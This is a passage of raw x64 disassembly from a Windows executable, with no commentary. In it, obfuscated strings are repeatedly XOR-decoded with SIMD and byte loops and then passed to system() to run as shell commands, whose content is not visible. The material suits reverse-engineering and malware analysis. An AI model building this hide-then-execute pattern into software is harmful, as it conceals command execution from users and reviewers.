xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000af50
cmp r8d, 0x2b
jge 0x14000b090
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000b060
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x4c]
lea rcx, [rsp + 0x66]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000b180
cmp r12d, 2
jl 0x14000b146
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000b180
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000b150
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x67], 0
lea rdx, [rbp + 0xbd0]
lea rcx, [rsp + 0x67]
call fcn.140015b10
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x14000b330
mov r8d, ebx
cmp r12d, 2
jl 0x14000b2f3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b1f0
cmp r8d, 0x2b
jge 0x14000b330
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000b300
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x68], 0
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000b420
cmp r12d, 2
jl 0x14000b3e6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000b420
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000b3f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x69], 0
lea rdx, [rbp + 0xcd0]
lea rcx, [rsp + 0x69]
call fcn.140015b50
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14000b5d0
mov r8d, ebx
cmp r12d, 2
jl 0x14000b593
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14000b490
cmp r8d, 0x31
jge 0x14000b5d0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14000b5a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x6a], 0
lea rdx, [rbp + 0x54]
lea rcx, [rsp + 0x6a]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000b6c0
cmp r12d, 2
jl 0x14000b686
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000b6c0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000b690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x6b], 0
lea rdx, [rbp + 0xd08]
lea rcx, [rsp + 0x6b]
call fcn.140015b80
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14000b870
mov r8d, ebx
cmp r12d, 2
jl 0x14000b833
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14000b730
cmp r8d, 0x31
jge 0x14000b870
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14000b840
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x6c], 0
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x6c]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000b960
cmp r12d, 2
jl 0x14000b926
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000b960
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000b930
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4cd0]
call fcn.140025fa0
mov byte [rsp + 0x6d], 0
lea rdx, [rbp + 0x1e8]
lea rcx, [rsp + 0x6d]
call fcn.1400159b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000baf0
mov r8d, ebx
cmp r12d, 2
jl 0x14000bab2
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000bac0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x6e], 0
lea rdx, [rbp + 0x4c0]
lea rcx, [rsp + 0x6e]
call fcn.1400159f0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14000bca0
mov r8d, ebx
cmp r12d, 2
jl 0x14000bc63
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000bb60
cmp r8d, 0x15
jge 0x14000bca0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14000bc70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x6f], 0
lea rdx, [rbp + 0x340]
lea rcx, [rsp + 0x6f]
call fcn.140015980
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14000be50
mov r8d, ebx
cmp r12d, 2
jl 0x14000be13
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000bd10
cmp r8d, 0x13
jge 0x14000be50
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000be20
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x70], 0
lea rdx, [rbp + 0x5c]
lea rcx, [rsp + 0x70]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000bf40
cmp r12d, 2
jl 0x14000bf06
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000bf40
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000bf10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x71], 0
lea rdx, [rbp + 0xde8]
lea rcx, [rsp + 0x71]
call fcn.140015e30
mov r10, rax
cmp byte [rax + 0x3c], 0
je 0x14000c0f0
mov r8d, ebx
cmp r12d, 2
jl 0x14000c0b3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000bfb0
cmp r8d, 0x3d
jge 0x14000c0f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14000c0c0
mov rcx, r10
call fcn.1400011a0
lea rdx, str.message
lea rcx, [rbp + 0x2418]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2438]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2458]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2478]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2498]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x24b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x24d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x24f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2518]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2538]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2558]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2578]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2598]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x25b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x25d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x25f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2618]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2638]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2658]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2678]
call fcn.140017970
nop
lea rdx, str.message
